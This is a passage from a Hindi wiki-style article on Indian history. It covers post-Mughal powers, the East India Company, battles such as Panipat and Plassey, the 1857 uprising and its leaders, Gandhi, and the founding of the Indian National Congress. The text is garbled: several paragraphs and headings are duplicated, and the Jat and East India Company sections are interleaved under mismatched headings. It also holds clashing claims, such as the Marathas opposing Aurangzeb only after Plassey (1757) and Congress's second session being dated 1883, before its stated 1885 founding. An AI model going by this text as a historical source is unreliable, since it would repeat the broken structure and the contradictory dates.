युद्ध|प्लासी की लड़ाई]] के बाद वे औरंगज़ेब के एक बड़े विरोधी सिद्ध हुए।
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[[चित्र:Balaji-Bajirao.jpg|thumb|150px|[[बालाजी बाजीराव]]]]
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प्राचीन राज्य सब छिन्न-भिन्न हो चुके थे और मुग़लों का सामना मराठों से था, जो प्रतिदिन शक्तिशाली होते जा रहे थे, और अन्त में मराठे मुग़लों पर पूरी तरह से छा गये। मराठों में राजनीतिक जागरण एवं संगठन की पृष्ठभूमि का निर्माण छत्रपति [[शिवाजी]] ने किया था। औरंगज़ेब के शासन-काल में ही उन्होंने तोरण, रामगढ़, चाकन, कल्याणी आदि को जीतकर अपनी शक्ति बढ़ा ली थी, तथा [[बीजापुर]] के सुल्तान, यहाँ तक की औरंगज़ेब से भी संघर्ष करके अपनी अजेय शक्ति का परिचय दिया। उन्होंने स्वतन्त्र [[मराठा]] राज्य की स्थापना कर ली, जिसे विवश होकर मुग़ल सम्राट को भी मान्यता देनी पडी। शिवाजी के नेतृत्व में निर्मित मराठा प्रशासन [[मुग़ल साम्राज्य]] की कमज़ोरी का परिचायक है। शिवाजी के उत्तराधिकारियों-[[शम्भाजी]], [[छत्रपति राजाराम|राजाराम]], शिवाजी द्वितीय और [[शाहू]] ने [[मराठा]] राज्य का संचालन किया। उनके बाद [[पेशवा|पेशवाओं]] की प्रधानता मराठा राज्य में क़ायम हो गई। [[बालाजी विश्वनाथ]], [[बाजीराव प्रथम]] और [[बालाजी बाजीराव]] नामक पेशवाओं ने मराठा शक्ति को अपने संरक्षण में क़ायम रखा। यद्यपि एक दिन मराठे [[अहमदशाह अब्दाली]] के हाथों पराजित हुए, तथापि उन्होंने [[भारत]] की एक महान् शक्ति के रूप में अपना अस्तित्व बनाये रखा। [[प्लासी का युद्ध|प्लासी की लड़ाई]] के बाद वे औरंगज़ेब के एक बड़े विरोधी सिद्ध हुए।
 
{{seealso|रघुजी भोंसले|राघोवा|नारायणराव|माधवराव नारायण}}
 
{{seealso|रघुजी भोंसले|राघोवा|नारायणराव|माधवराव नारायण}}
 
==अन्य शक्तियों का उद्भव==
 
==अन्य शक्तियों का उद्भव==
 
उत्तर मुग़लकालीन शासकों के शासन काल में मराठों के अतिरिक्त भारत में [[सिक्ख|सिक्खों]], [[राजपूत|राजपूतों]], [[जाट|जाटों]] तथा रुहेलों के रूप में अन्य शक्तियाँ भी उछल-कूद कर रही थीं। सिक्खों ने [[पंजाब]] में अपनी शक्ति में वृद्ध कर ली थी। पंजाब में उन्होंने अपनी स्वतन्त्र सत्ता स्थापित कर ली और मुग़लों की संप्रभूता की अवहेलना कर दी। इसी प्रकार राजपूतों ने [[राजपूताना]] में, जाटों ने दिल्ली के आस-पास और रुहेलों ने [[रूहेलखण्ड]] में अपनी-अपनी शक्ति का विस्तार कर लिया। मराठों तथा सिक्खों की तरह उन्होंने भी अपनी स्वतन्त्र सत्ता की स्थापना कर डाली। सम्पूर्ण देश को विघटित करने वाली इन तमाम शक्तियों पर नियन्त्रण रखना मुग़ल शासकों के लिए सम्भव नहीं रह गया और देश विघटित होने लगा। देश की ऐसी अनैक्यपूर्ण स्थिति में भारत में विदेशी जातियों तथा कम्पनियों का आगमन हुआ और इन नवागत कम्पनियों को अपना अधिकार-क्षेत्र विस्तृत करने का अवसर मिल गया। इन विदेशियों को अपना क्षेत्राधिकार बढ़ाने का ये सुअवसर यूँ ही नहीं मिल गया। इन्होंने देख लिया था कि, भारत की देशी रियासतों में आपसी फूट बहुत ज़्यादा है। ये फूट इस हद तक बढ़ चुकी थी कि देशी रियासतें बाहरी लोगों का मुकाबला करने की बजाय आपस में ही लड़ती रहीं। जब इन रियासतों ने बाहरी आक्रमणकारियों को पहचाना, तब तक बहुत देर हो चुकी थी।
 
उत्तर मुग़लकालीन शासकों के शासन काल में मराठों के अतिरिक्त भारत में [[सिक्ख|सिक्खों]], [[राजपूत|राजपूतों]], [[जाट|जाटों]] तथा रुहेलों के रूप में अन्य शक्तियाँ भी उछल-कूद कर रही थीं। सिक्खों ने [[पंजाब]] में अपनी शक्ति में वृद्ध कर ली थी। पंजाब में उन्होंने अपनी स्वतन्त्र सत्ता स्थापित कर ली और मुग़लों की संप्रभूता की अवहेलना कर दी। इसी प्रकार राजपूतों ने [[राजपूताना]] में, जाटों ने दिल्ली के आस-पास और रुहेलों ने [[रूहेलखण्ड]] में अपनी-अपनी शक्ति का विस्तार कर लिया। मराठों तथा सिक्खों की तरह उन्होंने भी अपनी स्वतन्त्र सत्ता की स्थापना कर डाली। सम्पूर्ण देश को विघटित करने वाली इन तमाम शक्तियों पर नियन्त्रण रखना मुग़ल शासकों के लिए सम्भव नहीं रह गया और देश विघटित होने लगा। देश की ऐसी अनैक्यपूर्ण स्थिति में भारत में विदेशी जातियों तथा कम्पनियों का आगमन हुआ और इन नवागत कम्पनियों को अपना अधिकार-क्षेत्र विस्तृत करने का अवसर मिल गया। इन विदेशियों को अपना क्षेत्राधिकार बढ़ाने का ये सुअवसर यूँ ही नहीं मिल गया। इन्होंने देख लिया था कि, भारत की देशी रियासतों में आपसी फूट बहुत ज़्यादा है। ये फूट इस हद तक बढ़ चुकी थी कि देशी रियासतें बाहरी लोगों का मुकाबला करने की बजाय आपस में ही लड़ती रहीं। जब इन रियासतों ने बाहरी आक्रमणकारियों को पहचाना, तब तक बहुत देर हो चुकी थी।
====अंग्रेज़====
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[[चित्र:Maharaja-Surajmal-1.jpg|thumb|150px|[[सूरजमल]]]]
{{main|अंग्रेज़}}
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====जाट====
भारत में व्यापारिक कोठियाँ खोलने के प्रयास के अन्तर्गत ही ब्रिटेन के सम्राट जेम्स प्रथम ने 1608 ई. में [[कैप्टन हॉकिन्स]] को अपने राजदूत के रूप में [[मुग़ल]] सम्राट [[जहाँगीर]] के दरबार में भेजा था। 1609 ई. में हॉकिन्स ने जहाँगीर से मिलकर [[सूरत]] में बसने की इजाजत माँगी, परन्तु [[पुर्तग़ाली|पुर्तग़ालियों]] तथा सूरत के सौदागरों के विद्रोह के कारण उसे स्वीकृति नहीं मिली। हॉकिन्स [[फ़ारसी भाषा]] का बहुत अच्छा जानकार था। कैप्टन हॉकिन्स तीन वर्षों तक [[आगरा]] में रहा। जहाँगीर ने उससे प्रसन्न होकर उसे 400 का मनसब तथा जागीर प्रदान की। 1616 ई. में सम्राट जेम्स प्रथम ने [[टॉमस रो|सर टॉमस रो]] को अपना राजदूत बनाकर जहाँगीर के पास भेजा। टॉमस रो का एकमात्र उदेश्य था - 'व्यापारिक संधि करना'। यद्यपि उसका जहाँगीर से व्यापारिक समझौता नहीं हो सका, फिर भी उसे [[गुजरात]] के तत्कालीन सूबेदार 'खुर्रम' (बाद में [[शाहजहाँ]] के नाम से प्रसिद्ध) से व्यापारिक कोठियों को खोलने के लिए फ़रमान प्राप्त हो गया।[[चित्र:East-India-Company-Seal.jpg|180px|thumb|ईस्ट इण्डिया कम्पनी की मुहर]]
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{{main|जाट}}
====ईस्ट इण्डिया कम्पनी====
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औरंगज़ेब के शासक बनने के कुछ ही समय के अन्दर जाट आँख का काँटा बन गए थे। उनका निवास मुख्यतः शाही परगना था, जो "मोटे तौर पर एक चौकोर प्रदेश था, जो उत्तर से दक्षिण की ओर लगभग 250 मील लम्बा और 100 मील चौड़ा था"<ref>(टी.जी.पी स्पीयर, 'ट्विलाइट आफ मुग़ल्स,' पृ.5)</ref>। [[यमुना नदी]] इसकी विभाजक रेखा थी, [[दिल्ली]] और [[आगरा]] इसके दो मुख्य नगर थे। इसमें [[वृन्दावन]], [[गोकुल]], [[गोवर्धन]] और [[मथुरा]] में [[हिन्दू]] धार्मिक तीर्थस्थान तथा मन्दिर भी थे। पूर्व में यह [[गंगा]] की ओर फैला था और दक्षिण में [[चम्बल नदी]] तक, [[अम्बाला]] के उत्तर में पहाड़ों और पश्चिम में मरूस्थल तक। " इनके राज्य की कोई वास्तविक सीमाएँ नहीं थीं। यह इलाक़ा कहने को सम्राट के सीधे शासन के अधीन था, परन्तु व्यवहार में यह कुछ सरदारों में बँटा हुआ था। यह ज़मीनें उन्हें, उनके सैनिकों के भरण-पोषण के लिए दी गई हैं। जाट-लोग दबंग देहाती थे, जो साधारणतया शान्त होने पर भी, उससे अधिक राजस्व देने वाले नहीं थे, जितना कि उनसे जबरदस्ती ऐंठा जा सकता था; और उन्होंने मिट्टी की दीवारें बनाकर अपने गाँवों को ऐसे क़िलों का रूप दे दिया था, जिन्हें केवल तोपखाने द्वारा जीता जा सकता था। जाट शासकों में महाराजा [[सूरजमल]] (शासनकाल सन् 1755 से सन् 1763 तक )और उनके पुत्र [[जवाहर सिंह]] (शासन काल सन् 1763 से सन् 1768 तक ) [[मथुरा]] के इतिहास में बहुत प्रसिद्ध हैं ।
{{main|ईस्ट इण्डिया कम्पनी}}
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{{seealso|ब्रज का जाट मराठा काल|जाटों का इतिहास|ब्रज का मुग़ल काल|राजाराम|गोकुल सिंह}}
ईस्ट इण्डिया कम्पनी एक निजी व्यापारिक कम्पनी थी, जिसने 1600 ई. में शाही अधिकार पत्र द्वारा व्यापार करने का अधिकार प्राप्त कर लिया था। इसकी स्थापना 1600 ई. के अन्तिम दिन महारानी एलिजाबेथ प्रथम के एक घोषणापत्र द्वारा हुई थी। यह [[लन्दन]] के व्यापारियों की कम्पनी थी, जिसे पूर्व में व्यापार करने का एकाधिकार प्रदान किया गया। कम्पनी का मुख्य उद्देश्य धन कमाना था। 1708 ई. में [[ईस्ट इण्डिया कम्पनी]] की प्रतिद्वन्दी कम्पनी 'न्यू कम्पनी' का 'ईस्ट इण्डिया कम्पनी' में विलय हो गया। परिणामस्वरूप 'द यूनाइटेड कम्पनी ऑफ़ मर्चेंट्स ऑफ़ इंग्लैण्ड ट्रेडिंग टू ईस्ट इंडीज' की स्थापना हुई। कम्पनी और उसके व्यापार की देख-रेख 'गर्वनर-इन-काउन्सिल' करती थी।
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==भारत की ऐतिहासिक लड़ाईयाँ==
{{seealso|गवर्नर-जनरल|रेग्युलेटिंग एक्ट|साइमन कमीशन|पिट एक्ट}}
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भारतीय इतिहास में समय-समय पर कई युद्ध हुए हैं। इन युद्धों के द्वारा [[भारत]] की राजनीति ने न जाने कितनी ही बार एक अलग ही दिशा प्राप्त की। भारतीय रियासतों में आपस में ही कई इतिहास प्रसिद्ध युद्ध लड़े गए। इन देशी रियासतों की आपसी फूट भी इस हद तक बढ़ चुकी थी, कि अंग्रेज़ों ने उसका पूरा लाभ उठाया। [[राजपूत|राजपूतों]], [[मराठा|मराठों]] और [[मुसलमान|मुसलमानों]] में भी कई सन्धियाँ हुईं। भारत के इतिहास में अधिकांश युद्धों का लक्ष्य सिर्फ़ एक ही था, [[दिल्ली सल्तनत]] पर हुकूमत। अंग्रेज़ों ने ही अपनी सूझबूझ और चालाकी व कूटनीति से [[दिल्ली]] की हुकूमत प्राप्त की थी। हालाँकि उन्हें भारत में अपने पाँव जमाने के लिए काफ़ी परेशानियों का सामना करना पड़ा था, फिर भी उन्होंने भारतियों की आपसी फूट का लाभ उठाते हुए इसे एक लम्बे समय तक ग़ुलाम बनाये रखा।
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[[चित्र:Ahmad-Shah-Abdali.jpg|thumb|150px|[[अहमदशाह अब्दाली]]]]
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====पानीपत युद्ध====
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{{main|पानीपत युद्ध}}
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[[अहमदशाह अब्दाली]] ने 1748 से 1760 ई. के बीच भारत पर चढ़ाइयाँ कीं और 1761 ई. में पानीपत की तीसरी लड़ाई जीत कर [[मुग़ल साम्राज्य]] का फ़ातिहा पढ़ दिया। उसने दिल्ली पर दख़ल करके उसे लूटा। पानीपत की तीसरी लड़ाई में सबसे अधिक क्षति मराठों को उठानी पड़ी। कुछ समय के लिए उनकी बाढ़ रुक गयी और इस प्रकार वे मुग़ल बादशाहों की जगह ले लेने का मौक़ा खो बैठे। यह लड़ाई वास्तव में मुग़ल साम्राज्य के पतन की सूचक है। इसने भारत में मुग़ल साम्राज्य के स्थान पर ब्रिटिश साम्राज्य की स्थापना में मदद की। अब्दाली को पानीपत में जो फ़तह मिली, उससे न तो वह स्वयं कोई लाभ उठा सका और न उसका साथ देने वाले मुसलमान सरदार। इस लड़ाई से वास्तविक फ़ायदा अंग्रेज़ी [[ईस्ट इंडिया कम्पनी]] ने उठाया। इसके बाद कम्पनी को एक के बाद दूसरी सफलताएँ मिलती गयीं।
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====प्लासी का युद्ध====
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{{main|प्लासी का युद्ध}}
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प्लासी का युद्ध 23 जून, 1757 ई. को लड़ा गया था। [[अंग्रेज़]] और [[बंगाल]] के नवाब [[सिराजुद्दौला]] की सेनायें 23 जून, 1757 को [[मुर्शिदाबाद]] के दक्षिण में 22 मील दूर 'नदिया ज़िले' में [[भागीरथी नदी]] के किनारे 'प्लासी' नामक गाँव में आमने-सामने आ गईं। सिराजुद्दौला की सेना में जहाँ एक ओर 'मीरमदान', 'मोहनलाल' जैसे देशभक्त थे, वहीं दूसरी ओर मीरजाफ़र जैसे कुत्सित विचारों वाले धोखेबाज़ भी थे। युद्ध 23 जून को प्रातः 9 बजे प्रारम्भ हुआ। मीरजाफ़र एवं रायदुर्लभ अपनी सेनाओं के साथ निष्क्रिय रहे। इस युद्ध में मीरमदान मारा गया। युद्ध का परिणाम शायद नियति ने पहले से ही तय कर रखा था। [[रॉबर्ट क्लाइव]] बिना युद्ध किये ही विजयी रहा। फलस्वरूप मीरजाफ़र को बंगाल का नवाब बनाया गया। के.एम.पणिक्कर के अनुसार, 'यह एक सौदा था, जिसमें बंगाल के धनी सेठों तथा मीरजाफ़र ने नवाब को अंग्रेज़ों के हाथों बेच डाला'।[[चित्र:Hyder-Ali.jpg|thumb|150px|[[हैदर अली]]]]
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====मैसूर युद्ध====
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{{main|मैसूर युद्ध}}
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1761 ई. में [[हैदर अली]] ने [[मैसूर]] में [[हिन्दू]] शासक के ऊपर नियंत्रण स्थापित कर लिया। निरक्षर होने के बाद भी हैदर अली की सैनिक एवं राजनीतिक योग्यता अद्वितीय थी। उसके [[फ़्राँसीसी|फ़्राँसीसियों]] से अच्छे सम्बन्ध थे। हैदर अली की योग्यता, कूटनीतिक सूझबूझ एवं सैनिक कुशलता से मराठे, [[निज़ामशाही वंश|निज़ाम]] एवं [[अंग्रेज़]] ईर्ष्या करते थे। हैदर अली ने अंग्रेज़ों से भी सहयोग माँगा था, परन्तु अंग्रेज़ इसके लिए तैयार नहीं हुए, क्योंकि इससे उनकी राजनीतिक महत्वाकांक्षा पूरी न हो पाती। [[भारत]] में अंग्रेज़ों और मैसूर के शासकों के बीच चार सैन्य मुठभेड़ हुई थीं। अंग्रेज़ों और हैदर अली तथा उसके पुत्र [[टीपू सुल्तान]] के बीच समय-समय पर युद्ध हुए। 32 वर्षों (1767 से 1799 ई.) के मध्य में ये युद्ध छेड़े गए थे।
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====आंग्ल-मराठा युद्ध====
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{{main|आंग्ल-मराठा युद्ध}}
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[[चित्र:Tipu-Sultan.jpg|thumb|150px|right|[[टीपू सुल्तान]]]]
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भारत के इतिहास में तीन आंग्ल-मराठा युद्ध हुए हैं। ये तीनों युद्ध 1775 ई. से 1818 ई. तक चले। ये युद्ध ब्रिटिश सेनाओं और [[मराठा]] महासंघ के बीच हुए थे। इन युद्धों का परिणाम यह हुआ कि, मराठा महासंघ का पूरी तरह से विनाश हो गया। मराठों में पहले से ही आपस में काफ़ी भेदभाव थे, जिस कारण वह अंग्रेज़ों के विरुद्ध एकजुट नहीं हो सके। जहाँ [[रघुनाथराव]] ने ईस्ट इण्डिया कम्पनी से मित्रता करके [[पेशवा]] बनने का सपना देखा, और अंग्रेज़ों के साथ सूरत की सन्धि की, वहीं क़ायर [[बाजीराव द्वितीय]] ने [[बसीन]] भागकर अंग्रेज़ों के साथ [[बसीन की सन्धि]] की और मराठों की स्वतंत्रता को बेच दिया। पहला युद्ध(1775-1782 ई.) रघुनाथराव द्वारा महासंघ के पेशवा (मुख्यमंत्री) के दावे को लेकर ब्रिटिश समर्थन से प्रारम्भ हुआ। जनवरी 1779 ई. में बड़गाँव में अंग्रेज़ पराजित हो गए, लेकिन उन्होंने मराठों के साथ [[सालबाई की सन्धि]] (मई 1782 ई.) होने तक युद्ध जारी रखा।
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====आंग्ल-सिक्ख युद्ध====
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{{main|आंग्ल-सिक्ख युद्ध}}
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भारत के [[इतिहास]] में दो [[सिक्ख]] युद्ध हुए हैं। इन दोनों ही युद्धों में सिक्ख [[अंग्रेज़|अंग्रेज़ों]] से पराजित हुए और उन्हें अंग्रेज़ों से उनकी मनमानी शर्तों के अनुसार सन्धि करनी पड़ी। प्रथम युद्ध में पराजय के कारण सिक्खों को अंग्रेज़ों के साथ 9 मार्च, 1846 ई. को 'लाहौर की सन्धि' और इसके उपरान्त एक और सन्धि, 'भैरोवाल की सन्धि' 22 दिसम्बर, 1846 ई. को करनी पड़ी। इन सन्धियों के द्वारा 'लाल सिंह' को वज़ीर के रूप में अंग्रेज़ों ने मान्यता प्रदान कर दी और अपनी एक रेजीडेन्ट को [[लाहौर]] में रख दिया। महारानी ज़िन्दा कौर को [[दलीप सिंह]] से अलग कर दिया गया, जो की दलीप सिंह की संरक्षिका थीं। उन्हें 'शेखपुरा' भेज दिया गया। द्वितीय युद्ध में सिक्खों ने अंग्रेज़ों के आगे आत्म समर्पण कर दिया। दलीप सिंह को पेन्शन प्रदान कर दी गई। उसे व रानी ज़िन्दा कौर को 5 लाख रुपये वार्षिक पेन्शन पर [[इंग्लैण्ड]] भेज दिया गया। जहाँ पर कुछ समय बाद ही रानी ज़िन्दा कौर की मृत्यु हो गई।
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====गोरखा युद्ध====
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{{main|गोरखा युद्ध}}
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गोरखा युद्ध 1816 ई. में ब्रिटिश भारतीय सरकार और [[नेपाल]] के बीच हुआ। उस समय भारत का [[गवर्नर-जनरल]] [[लॉर्ड हेस्टिंग्स]] था। [[ईस्ट इण्डिया कम्पनी]] के राज्य का प्रसार नेपाल की तरफ़ भी होने लगा था, जबकि नेपाल अपने राज्य का विस्तार उत्तर की ओर [[चीन]] के होने के कारण नहीं कर सकता था। गोरखों ने पुलिस थानों पर हमला कर दिया और कई अंग्रेज़ों को अपना निशाना बनाया। इन सब परिस्थितियों में कम्पनी ने [[गोरखा]] लोगों के विरुद्ध युद्ध की घोषणा कर दी।
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{{seealso|युद्ध सन्धियाँ|आन्दोलन विप्लव सैनिक विद्रोह (1757-1856 ई.)|गोरखा}}
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==प्रथम स्वतंत्रता संग्राम==
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{{main|प्रथम स्वतंत्रता संग्राम}}
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[[लॉर्ड कैनिंग]] के [[गवर्नर-जनरल]] के रूप में शासन करने के दौरान ही 1857 ई. की महान् क्रान्ति हुई। इस क्रान्ति का आरम्भ 10 मई, 1857 ई. को [[मेरठ]] से हुआ, जो धीरे-धीरे [[कानपुर]], [[बरेली]], [[झांसी]], [[दिल्ली]], [[अवध]] आदि स्थानों पर फैल गया। इस क्रान्ति की शुरुआत तो एक सैन्य विद्रोह के रूप में हुई, परन्तु कालान्तर में उसका स्वरूप बदल कर ब्रिटिश सत्ता के विरुद्ध एक जनव्यापी विद्रोह के रूप में हो गया, जिसे भारत का [[प्रथम स्वतन्त्रता संग्राम]] कहा गया।[[चित्र:Mangal Panday.jpg|thumb|[[मंगल पाण्डे]]]] 1857 ई. की इस महान् क्रान्ति के स्वरूप को लेकर विद्धान एक मत नहीं है। इस बारे में विद्वानों ने अपने अलग-अलग मत प्रतिपादित किये हैं, जो इस प्रकार हैं-'सिपाही विद्रोह', 'स्वतन्त्रता संग्राम', 'सामन्तवादी प्रतिक्रिया', 'जनक्रान्ति', 'राष्ट्रीय विद्रोह', 'मुस्लिम षडयंत्र', 'ईसाई धर्म के विरुद्ध एक धर्म युद्ध' और 'सभ्यता एवं बर्बरता का संघर्ष' आदि।
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====मंगल पाण्डे====
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{{main|मंगल पाण्डे}}
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29 मार्च, 1857 ई. को मंगल पाण्डे नामक एक सैनिक ने 'बैरकपुर छावनी' में अपने अफ़सरों के विरुद्ध विद्रोह कर दिया, लेकिन ब्रिटिश सैन्य अधिकारियों ने इस सैनिक विद्रोह को सरलता से नियंत्रित कर लिया और साथ ही उसकी बटालियम '34 एन.आई.' को भंग कर दिया। 24 अप्रैल को 3 एल.सी. परेड [[मेरठ]] में 90 घुड़सवारों में से 85 सैनिकों ने नये कारतूस लेने से इंकार कर दिया। आज्ञा की अवहेलना के कारण इन 85 घुडसवारों को कोर्ट मार्शल द्वारा 5 वर्ष का कारावास दिया गया। 'खुला विद्रोह' 10 मई, दिन रविवार को सांयकाल 5 व 6 बजे के मध्य प्रारम्भ हुआ। सर्वप्रथम पैदल टुकड़ी '20 एन.आई.' में विद्रोह की शुरुआत हुई, तत्पश्चात् '3 एल.सी.' में भी विद्रोह फैल गया। इन विद्रोहियों ने अपने अधिकारियों के ऊपर गोलियाँ चलाई। [[मंगल पाण्डे]] ने 'हियरसे' को गोली मारी थी, जबकि 'अफ़सर बाग' की हत्या कर दी गई थी।[[चित्र:Rani-Laxmibai-2.jpg|thumb|150px|[[रानी लक्ष्मीबाई]]]]
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====झाँसी की रानी====
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{{main|रानी लक्ष्मीबाई}}
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झाँसी की रानी लक्ष्मीबाई का जन्म 19 नवंबर, 1828 को [[काशी]] के पुण्य व पवित्र क्षेत्र [[असीघाट वाराणसी|असीघाट]], [[वाराणसी]] में हुआ था। इनके [[पिता]] का नाम 'मोरोपंत तांबे' और माता का नाम 'भागीरथी बाई' था। इनका बचपन का नाम 'मणिकर्णिका' रखा गया, परन्तु प्यार से मणिकर्णिका को 'मनु' पुकारा जाता था। मनु की अवस्था अभी चार-पाँच वर्ष ही थी कि उसकी माँ का देहान्त हो गया। पिता मोरोपंत तांबे एक साधारण [[ब्राह्मण]] और अंतिम [[पेशवा]] [[बाजीराव द्वितीय]] के सेवक थे। माता भागीरथी बाई सुशील, चतुर और रूपवती महिला थीं। अपनी माँ की मृत्यु हो जाने पर वह पिता के साथ [[बिठूर]] ([[कानपुर]]) आ गई थीं। यहीं पर उन्होंने मल्लविद्या, घुड़सवारी और शस्त्रविद्याएँ सीखीं। चूँकि घर में मनु की देखभाल के लिए कोई नहीं था, इसलिए उनके पिता मोरोपंत मनु को अपने साथ बाजीराव द्वितीय के दरबार में ले जाते थे, जहाँ चंचल एवं सुन्दर मनु ने सबका मन मोह लिया था। बाजीराव मनु को प्यार से 'छबीली' बुलाने थे।
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====तात्या टोपे====
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[[चित्र:Tatya-Tope.jpg|thumb|150px|[[तात्या टोपे]]]]
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{{main|तात्या टोपे}}
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सन 1857 ई. के [[प्रथम स्वतन्त्रता संग्राम]] के अग्रणीय वीरों में तात्या टोपे को बड़ा उच्च स्थान प्राप्त है। इस वीर ने कई स्थानों पर अपने सैनिक अभियानों में [[उत्तर प्रदेश]], [[राजस्थान]], [[मध्य प्रदेश]], [[गुजरात]] में अंग्रेज़ी सेनाओं से टक्कर ली थी और उन्हें परेशान कर दिया था। [[गोरिल्ला युद्ध|गोरिल्ला युद्ध प्रणाली]] को अपनाते हुए [[तात्या टोपे]] ने अंग्रेज़ी सेनाओं के कई स्थानों पर छक्के छुड़ा दिये थे। तात्या टोपे जो 'तांतिया टोपी' के नाम से विख्यात हैं, 1857 ई. के स्वतंत्रता संग्राम के उन महान् सैनिक नेताओं में से एक थे, जो प्रकाश में आए। 1857 ई. तक लोग इनके नाम से अपरिचित थे। लेकिन 1857 ई. की नाटकीय घटनाओं ने उन्हें अचानक अंधकार से प्रकाश में ला खड़ा किया। इस महान् विद्रोह के प्रारंभ होने से पूर्व वह राज्यच्युत [[पेशवा]] बाजीराव द्वितीय के सबसे बड़े पुत्र बिठूर के राजा, [[नाना साहब]] के एक प्रकार से साथी-मुसाहिब मात्र थे, किंतु स्वतंत्रता संग्राम में कानपुर के सम्मिलित होने के पश्चात् तात्या पेशवा की सेना के सेनाध्यक्ष की स्थिति तक पहुँच गए।
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====बहादुर शाह====
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[[चित्र:Bahadur-Shah-II.jpg|thumb|140px|[[बहादुर शाह ज़फ़र]]]]
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{{main|बहादुर शाह ज़फ़र}}
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बहादुर शाह ज़फ़र [[अकबर द्वितीय]] और लालबाई के दूसरे पुत्र थे। अपने शासनकाल के अधिकांश समय उनके पास वास्तविक सत्ता नहीं रही और वह अंग्रेज़ों पर आश्रित रहे। 1857 ई. में स्वतंत्रता संग्राम शुरू होने के समय बहादुर शाह 82 वर्ष के बूढे थे, और स्वयं निर्णय लेने की क्षमता को खो चुके थे। विद्रोहियों ने उनको आज़ाद हिन्दुस्तान का बादशाह बनाया। इस कारण [[अंग्रेज़]] उनसे कुपित हो गये और उन्होंने उनसे शत्रुवत् व्यवहार किया। सितम्बर 1857 ई. में अंग्रेज़ों ने दुबारा [[दिल्ली]] पर क़ब्ज़ा जमा लिया और बहादुर शाह ज़फ़र को गिरफ़्तार करके उन पर मुक़दमा चलाया गया तथा उन्हें रंगून (वर्तमान [[यांगून]]) निर्वासित कर दिया गया।
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अन्तिम [[मुग़ल]] शासक [[बहादुरशाह ज़फ़र]], झांसी की रानी लक्ष्मीबाई, तांत्या टोपे (रामचंन्द्र पांडुरंग), बिहार के बाबू कुँवरसिंह, [[महाराष्ट्र]] से [[नाना साहब]], इस प्रथम क्रान्ति के प्रयास के नायक थे, किन्तु प्रयास विफल हो गया। अधिकांश देशी राजाओं ने अपने को क्रांति से अलग रखा। कम्पनी को बलपूर्वक क्रांति को कुचल देने में सफलता मिली, परन्तु क्रांति के बाद ब्रिटिश पार्लियामेंट ने भारत पर कम्पनी का शासन समाप्त कर दिया। भारत का शासन अब सीधे ब्रिटेन के द्वारा किया जाने लगा।
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====महात्मा गाँधी====
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[[चित्र:Mahatma-Gandhi-1.jpg|thumb|150px|[[महात्मा गाँधी]]]]
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{{main|महात्मा गाँधी}}
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महात्मा गाँधी ने भारत को आज़ादी दिलाने के लिए अपना सम्पूर्ण जीवन ही समर्पित कर दिया था। विश्वकवि [[रवीन्द्रनाथ टैगोर]] ने उन्हें 'महात्मा' की उपाधि दी थी, जिससे वह महात्मा गाँधी के नाम से पुकारे जाने लगे थे। महात्मा गांधी का जन्म 2 अक्तूबर 1869 ई. को [[गुजरात]] के पोरबंदर नामक स्थान पर हुआ था। उनके माता-पिता कट्टर [[हिन्दू]] थे। इनके [[पिता]] का नाम करमचंद गाँधी था। मोहनदास की माता का नाम पुतलीबाई था, जो करमचंद गांधी जी की चौथी पत्नी थीं। मोहनदास अपने पिता की चौथी पत्नी की अन्तिम संतान थे। उनके पिता करमचंद (कबा गांधी) पहले ब्रिटिश शासन के तहत पश्चिमी भारत के गुजरात राज्य में एक छोटी-सी रियासत की राजधानी पोरबंदर के [[दीवान]] थे और बाद में क्रमशः [[राजकोट]] ([[काठियावाड़]]) और वांकानेर में दीवान रहे। करमचंद गांधी ने बहुत अधिक औपचारिक शिक्षा तो प्राप्त नहीं की थी, लेकिन वह एक कुशल प्रशासक थे और उन्हें सनकी राजकुमारों, उनकी दुःखी प्रजा तथा सत्तासीन कट्टर ब्रिटिश राजनीतिक अधिकारियों के बीच अपना रास्ता निकालना आता था।
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{{seealso|असहयोग आन्दोलन|सविनय अवज्ञा आन्दोलन|नमक सत्याग्रह }}
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==भारतीय राष्ट्रीय कांग्रेस की स्थापना==
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{{main|भारतीय राष्ट्रीय कांग्रेस}}[[चित्र:Congress-Flag-1931.jpg|thumb|150px|[[भारतीय राष्ट्रीय कांग्रेस]] का ध्वज]]
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इस प्रकार भारत में ब्रिटिश शासन का दूसरा काल (1858-1947 ई.) आरम्भ हुआ। इस काल का शासन एक के बाद इकत्तीस गवर्नर-जनरलों के हाथों में रहा। [[गवर्नर-जनरल]] को अब [[वाइसराय]] (ब्रिटिश सम्राट का प्रतिनिधि) कहा जाने लगा। [[लॉर्ड कैनिंग]] पहला वाइसराय तथा गवर्नर-जनरल नियुक्त हुआ। 1885 ई. में [[बम्बई]] में [[भारतीय राष्ट्रीय कांग्रेस]] की स्थापना हुई, जिसमें देश के समस्त भागों से 71 प्रतिनिधियों ने भाग लिया। कांग्रेस का दूसरा अधिवेशन 1883 ई. में [[कलकत्ता]] में हुआ, जिसमें सारे देश से निर्वाचित 434 प्रतिनिधियों ने भाग लिया। इस अधिवेशन में माँग की गयी कि भारत में केन्द्रीय तथा प्रांतीय विधानमंडलों का विस्तार किया जाये और उसके आधे सदस्य निर्वाचित भारतीय हों। कांग्रेस हर साल अपने अधिवेशनों में अपनी माँगें दोहराती रही। [[लॉर्ड डफ़रिन]] ने कांग्रेस पर व्यंग्य करते हुए उसे ऐसे अल्पसंख्यक वर्ग का प्रतिनिधित्व करने वाली संस्था बताया, जिसे सिर्फ़ ख़ुर्दबीन से देखा जा सकता है। [[लॉर्ड लैन्सडाउन]] ने उसके प्रति पूर्ण उपेक्षा की नीति बरती, [[लॉर्ड कर्ज़न]] ने उसका खुलेआम मज़ाक उड़ाया तथा [[लॉर्ड मिन्टो द्वितीय]] ने 1909 के इंडियन कॉउंसिल एक्ट द्वारा स्थापित विधानमंडलों में मुसलमानों को अनुचित रीति से अनुपात से अधिक प्रतिनिधित्व देकर उन्हें फोड़ने तथा कांग्रेस को तोड़ने की कोशिश की, फिर भी कांग्रेस ज़िन्दा रही।
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====सफलता की शुरुआत====
